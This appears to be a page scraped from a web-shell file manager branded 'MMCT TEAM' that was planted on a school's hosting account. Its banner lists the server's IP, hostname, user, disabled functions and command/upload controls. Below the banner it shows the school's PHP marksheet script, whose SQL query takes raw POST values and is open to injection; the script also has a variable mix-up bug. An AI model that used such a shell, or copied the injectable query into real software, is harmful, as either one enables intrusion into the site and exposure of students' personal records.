MMCT TEAM
Server IP : 2a02:4780:11:1359:0:1d43:a566:2  /  Your IP : 216.73.216.199
Web Server : LiteSpeed
System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u490972518 ( 490972518)
PHP Version : 5.6.40
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u490972518/domains/ppschool.org.in/public_html/admin/libs/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u490972518/domains/ppschool.org.in/public_html/admin/libs/../result_print_six_eight.php
<?php
$session=$_POST['session'];
$exam=$_POST['exam'];

include("../link/databaseconnection.php");


//echo"$app1";
$sel1="select * from six_eightresult where session='$session' and exam='$exam' and class='SIXTH' or class='SEVENTH' or class='EIGHTH' order by rol asc";
	
	$res1=mysqli_query($conn,$sel1);
	
	
?>

<html>
<head>
 <script src="js/jquery-3.2.1.min.js"></script>  <!--jquery-->
<script>
$(document).ready(function(){
	$("#pay").click(function(){
		window.location.href='bil.php';
	});
});
$(document).ready(function(){

	$("#print").click(function(){
		$("#pay").css("visibility","hidden");
		$("#back").css("visibility","hidden");
		$("#print").css("visibility","hidden");
		window.print();
		
	});
	$("#back").click(function(){
		window.location.href='index.php';
	});
});

</script>
<link href="css/student_print.css" rel="stylesheet" type="text/css">
</head>
<body>
   <?php

while($row1=mysqli_fetch_array($res1,MYSQLI_BOTH))
{
$mark1=$row1['mark1'];
	$mark2=$row1['mark2'];
	$mark3=$row1['mark3'];
	$mark4=$row1['mark4'];
	$mark5=$row1['mark5'];
	$mark6=$row1['mark6'];
	$mark7=$row1['mark7'];
	$mark8=$row1['mark8'];
	$mark9=$row1['mark9'];
	$mark10=$row1['mark10'];
	$total=$mark1+$mark2+$mark3+$mark4+$mark5+$mark6+$mark7+$mark8+$mark9+$mark10;
	$per1=$total/500;
	$per2=$per1*100;
	$per=substr($per2,0,5);
?>
<table frame="border" width="100%" >
<tr>
<td><span><img src="../images/logo1.png" height="140px" width="140px"/></span></td><td align="center"><span id="name" colspan="2" style="font-size:33px;font-weight:bold">M.R.D.H. SECONDARY SCHOOL</span><br/><br/><br/><span id="name1" style="font-size:25px;font-weight:bold">Harai Ismailpur Sagari-Azamgarh</span></td>
</tr>
</table>
<table cellspacing="0" frame="border" width="100%" >
<caption style="font-size:30px;font-weight:bold">MARKS SHEET - <?php echo $row1['session']?></caption>
<tr>
<td width=""><span id="name2">Roll Number</span></td><td width=""><span id="name3" style="font-weight:bold"><?php echo $row1['rol'];?></span></td><td width=""><span id="name2">Student Name</span></td><td width=""><span id="name3" style="font-weight:bold"><?php echo $row1['name'];?></span></td><td align="right" rowspan="3"width="10%"><span><img src="../code/img/<?php echo $row1['image'];?>" height="150" ></span></td>
</tr>
<tr>
<td width=""><span id="name2">Father Name</span></td><td width=""><span id="name3" style="font-weight:bold"><?php echo $row1['fname'];?></span></td><td width=""><span id="name2">Mother Name</span></td><td width=""><span id="name3" style="font-weight:bold"><?php echo $row1['mname'];?></span></td>
</tr>

<tr>
<td width="30%"><span id="name2">Date Of Birth</span></td><td width="30%"><span id="name3" style="font-weight:bold"><?php echo $row1['dob'];?></span></td><td width="20%"><span id="name2">Class</span></td><td width="20%"><span id="name3" style="font-weight:bold"><?php echo $row1['class'];?></span></td>
</tr>
</table>
</table>

<table id="example" class="display nowrap" cellspacing="0" width="100%" border="1px">
        <thead>
            <tr class="text-center">
                <th colspan="8" style="text-align:center;font-size:22px">Examination-&emsp;<?php echo $row1['exam'];?></th>
            </tr>
        </thead>

<tbody>		
  
		 
	
			<tr style="text-align:center;font-weight:bold">
	<td colspan="2">Subject</td><td>Max Marks</td><td>Obtain Marks</td><td colspan="3">Total</td><td colspan="2">Percentage</td>
	
	</tr>
	<tr style="text-align:center;font-weight:bold">
	<td colspan="2" style="font-weight:bold;text-align:left">HINDI</td><td>50</td><td style="font-weight:bold"><?php echo $row['mark1'];?></td><td rowspan="10" colspan="3" style="font-weight:bold"><?php echo $total;?>/500</td><td rowspan="10" style="font-weight:bold"><?php echo $per;?>&nbsp;%</td>
	
	</tr>
	<tr style="text-align:center;font-weight:bold">
	<td colspan="2" style="font-weight:bold">HINDI GRAMMAR</td><td>50</td><td style="font-weight:bold"><?php echo $row['mark2'];?></td>
	
	</tr>
	<tr style="text-align:center;font-weight:bold">
	<td colspan="2" style="font-weight:bold;text-align:left">ENGLISH READER</td><td>50</td><td style="font-weight:bold"><?php echo $row['mark3'];?></td>
	
	</tr>
	<tr style="text-align:center;font-weight:bold">
	<td colspan="2" style="font-weight:bold;text-align:left">ENGLISH GRAMMAR</td><td>50</td><td style="font-weight:bold"><?php echo $row['mark4'];?></td>
	
	</tr>
	<tr style="text-align:center;font-weight:bold">
	<td colspan="2" style="font-weight:bold;text-align:left">MATHEMATICS</td><td>50</td><td style="font-weight:bold"><?php echo $row['mark5'];?></td>
	
	</tr>
	<tr style="text-align:center;font-weight:bold">
	<td colspan="2" style="font-weight:bold;text-align:left">SCIENCE</td><td>50</td><td style="font-weight:bold"><?php echo $row['mark6'];?></td>
	
	</tr>
	<tr style="text-align:center;font-weight:bold">
	<td colspan="2" style="font-weight:bold;text-align:left">SO. SCIENCE</td><td>50</td><td style="font-weight:bold"><?php echo $row['mark7'];?></td>
	
	</tr>
	<tr style="text-align:center;font-weight:bold">
	<td colspan="2" style="font-weight:bold">COMPUTER</td><td>50</td><td style="font-weight:bold"><?php echo $row['mark8'];?></td>
	
	</tr>
	<tr style="text-align:center;font-weight:bold">
	<td colspan="2" style="font-weight:bold;text-align:left">G.K.</td><td>50</td><td style="font-weight:bold"><?php echo $row['mark9'];?></td>
	
	</tr>
	<tr style="text-align:center;font-weight:bold">
	<td colspan="2" style="font-weight:bold;text-align:left">ART</td><td>50</td><td style="font-weight:bold"><?php echo $row['mark10'];?></td>
	
	</tr>
	
	 </tbody>
    </table>
	<br/><br/>
	<table  width="100%" >
<tr>
<td style="font-weight:bold;">Guardian's Sign</td><td style="font-weight:bold;text-align:center" colspan="2">Class Teacher's Sign</td><td style="font-weight:bold;text-align:right" colspan="2">Principal's Sign</td>
</tr>
<tr>

<td style="font-weight:bold;"><br/>............................</td><td style="font-weight:bold;text-align:center" colspan="2"><br/>...........................</td><td style="font-weight:bold;text-align:right" colspan="2"><br/>............................</td>
</tr>
</table>
<?php
}

?>
</body>
</html>

MMCT - 2023